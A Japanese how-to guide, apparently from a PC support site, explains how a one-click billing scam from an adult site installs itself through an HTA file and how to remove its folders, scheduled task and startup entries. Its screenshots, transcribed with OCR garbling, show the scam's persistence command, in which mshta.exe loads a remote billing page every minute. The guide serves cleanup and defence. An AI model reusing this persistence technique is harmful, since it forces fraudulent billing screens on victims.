新手のアダルトサイトに仕掛けられたワンクリック詐欺

【感染経路】

※アダルトサイトの URL が埋め込まれたメールをクリックしたりすることでアダルトサイトに 誘導されます。ここで動画を見たいが為に『はい』及び『動画再生』ボタンをクリックしてし まうケースです。



※『はい』及び『動画再生』ボタンをクリックするとお決まりの hta ファイルが降ってきます。



※『実行』をクリックすると下図の様なウインドウが起動します。(Xボタンをクリックして もも再び直ぐ再起動します。



【削除方法】

① まず、エクスプローラーで隠しファイル及びフォルダを表示する設定を実行します。

② エクスプローラーで『コンピューター』⇒『ローカルディスク (C:) 』⇒『ユーザー』 ⇒ 《現在ログインしているユーザー名》の順にクリックします。

					x
	ディスク (C:) 🔸 ユーザー 🔸 Fujitsu0004	► ◄ 4 _j	Fujitsu0004の検索		٩
整理 ▼ ライブラリに	追加▼ 共有▼ 書き込む 新しい	フォルダー		8= -	0
☆ お気に入り	名前	更新日時	種類	サイズ	^
🚺 ダウンロード	AppData	2010/05/18 15:53	ファイル フォル		
📰 デスクトップ	Application Data	2010/05/18 15:53	ファイル フォル		
🖫 最近表示した場所	Cookies	2010/05/18 15:53	ファイル フォル		
ALM .	Local Settings	2010/05/18 15:53	ファイル フォル		
<u>► = / ヺ</u> = u	My Documents	2010/05/18 15:53	ファイル フォル		
	NetHood	2010/05/18 15:53	ファイル フォル		E
	PrintHood	2010/05/18 15:53	ファイル フォル		
■ ピクチャ	Recent	2010/05/18 15:53	ファイル フォル		
🛃 ビデオ	👔 SendTo	2010/05/18 15:53	ファイル フォル		
🎝 ミュージック	SoftRecovery	2012/02/09 11:45	ファイル フォル		
	JuserProfile	2012/02/09 11:45	ファイル フォル		
■ コンピューター	🛅 アドレス帳	2010/05/18 15:54	ファイル フォル		
	💦 お気に入り	2010/05/18 15:54	ファイル フォル		
	🔊 スタート メニュー	2010/05/18 15:53	ファイル フォル		
ጫ ጥያዮንተዎ	🎉 ダウンロード	2010/05/18 15:54	ファイル フォル		
	🐂 デスクトップ	2012/02/09 11:45	ファイル フォル		
	📗 マイ ドキュメント	2010/05/18 15:54	ファイル フォル		
	🍃 マイ ピクチャ	2010/05/18 15:54	ファイル フォル		

③ 『SofyRecovery』及び『UserProfile』の両方のフォルダを削除します。
 ※『SoftRecovery』のフォルダには『RegWrite』というショートカットが含まれており、このショートカットを Windows の『タスクスケジューラー』に登録し、Windows の起動時に請求サイトを表示する仕組みになっています。

							×
🚱 🕞 🗣 📕 « ユーザー	Fujitsu0004 → S	oftRecovery		• \$j	SoftRecoveryの検	索	٩
整理 ▼ ライブラリに	追加 ▼ 共有 ▼	書き込む	新しいフォ	ルダー			•
☆ お気に入り	名前	^		更新日時	種類	サイズ	
↓ ダウンロード ■ デフクトップ	RegWrite			2012/02/09 11:49	ショートカット	1 KB	
■ ラスクトック ③ 最近表示した場所		_					

※『UserProfile』というフォルダには『htmlapp』というアプリケーションや

『SystemBoot』というショートカットが含まれており、このショートカットを Windows の『スタートアップ』に登録することで Windows の起動毎に請求サイトを表示する仕組みになっています。



④ 『コントーロールパネル』⇒『管理ツール』⇒『タスクスケジューラー』の順にクリックして、『タスクスケジューラー』を開きます。

⑤ 『RegWrite』を削除します。

🕑 タスク スケジューラ							
ファイル(F) 操作(A) 表示(V) ヘルプ(H)						
🗢 🤿 🖄 🖬 🚺 🖬							
🕑 タスク スケジューラ (ローナ	名前	状態	トリガー			次回の実行時刻	前回の
▲ ろスクスケジューララー Microsoft	BegWrite	準備完了	2012/02/09 11:51 に起動 - トリガーされた後、0	00:01:00 ごとに	無期限に繰り返します。	2012/02/09 11:52:00	2012/0
WPD							
							•
	A42 111-17- 1	要作 名 44					
	主版「ワカー」	**** Secient B-ム カフカ/0	F 第八と パジュース ほんこう (ボースパン)	亦再する(づけ づつ	パティのココン よち(声=アーカフ)	りのゴロザティ ページを明いて	1#2
	0.00 EBX 9 204	988,9700	川市的ロット(こ光王 みのはよ」とな知ってみのの「差いの」です。 はよしたの	22 9 9 0 k (d. / U	(1)101421-8159((3X)		ike
	操作	副羊約	8				
	プログラムの開始	C:¥I	Windows¥system32¥mshta.exe http://jppom.net/set_in	if2.php?cccid=FB3	xsPrsZD3R13veZzttINNepx	(8MLptV	
1							

『プログラムとファイルの検索』に『mscomfig』と入力して『システム構成』を開きます。

全般 ブート サービス スタートアップ ツール スタートアップ項目 製造元 コマンド マ VMware Tools VMware, Inc. "C*Program Files¥VMware¥VMware Tools¥VMwareTray.exe" マ VMware Tools VMware, Inc. "C*Program Files¥VMware¥VMware Tools¥VMwareUser.exe" マ VMware Tools VMware, Inc. "C*Program Files¥VMware¥VMware Tools¥VMwareUser.exe" マ SystemBootFB3 不明 C:¥Users¥Fujitsu0004¥UserProfile¥SystemBoot.Ink. マ RegWriteFB3xs 不明 C:¥Users¥Fujitsu0004¥SoftRecovery¥RegWrite.Ink. マ Windows@ Inter Microsoft Corporat C*Windows¥System32¥mshta.exe	🥥 システム構成	
スタートアップ項目 製造元 コマンド マレMware Tools VMware, Inc. "C:¥Program Files¥VMware¥VMware Tools¥VMwareTray.exe" マレMware Tools VMware, Inc. "C:¥Program Files¥VMware¥VMware Tools¥VMwareUser.exe" マレMware Tools VMware, Inc. "C:¥Program Files¥VMware¥VMware Tools¥VMwareUser.exe" マレMware Tools VMware, Inc. "C:¥Users¥Fujitsu0004¥UserProfile¥SystemBoot.Ink" マレMware FB3xs 不明 C:¥Users¥Fujitsu0004¥SoftRecovery¥RegWrite.Ink マレMindows@ Inter Microsoft Corporat C:¥Windows¥System32¥mshta.exe	全般 ブート サービス スタートアップ ツール	
VMware Tools VMware, Inc. "C:¥Program Files¥VMware¥VMwareTools¥VMwareTray.exe" VMware Tools VMware, Inc. "C:¥Program Files¥VMware¥VMwareTools¥VMwareUser.exe" SystemBootFB3 不時月 C:¥Users¥Fujitsu0004¥UserProfile¥SystemBoot.Ink RegWriteFB3xs 不時月 C:¥Users¥Fujitsu0004¥SoftRecovery¥RegWrite.Ink Windows® Inter Microsoft Corporat C:¥Windows¥System32¥mshta.exe	スタートアップ項目 製造元	אעקב
	✓ Mware Tools VMware, Inc. ✓ VMware Tools VMware, Inc. ✓ SystemBootFB3 不明 ✓ RegWriteFB3xs 不明 ✓ Windows® Inter Microsoft Corporat	"C:¥Program Files¥VMware¥VMware Tools¥VMwareTray.exe" "C:¥Program Files¥VMware¥VMware Tools¥VMwareUser.exe" C:¥Users¥Fujitsu0004¥UserProfile¥SystemBoot.Ink C:¥Users¥Fujitsu0004¥SoftRecovery¥RegWrite.Ink C:¥Windows¥System32¥mshta.exe http://jpporn.net/set_inf2.php?cccid=FB3
すべて有効にする(E) すべて無効にする(D)	<	すべて有効にする(E) すべて無効にする(D)

④ 『SystemBoot....』と『RegWrite....』の左隣のチェックボックスのチェックをオフにし、 『適用』 ⇒ 『OK』の順にクリックします。

⑤Windows を再起動して再び請求画面が出なければ削除は完了です。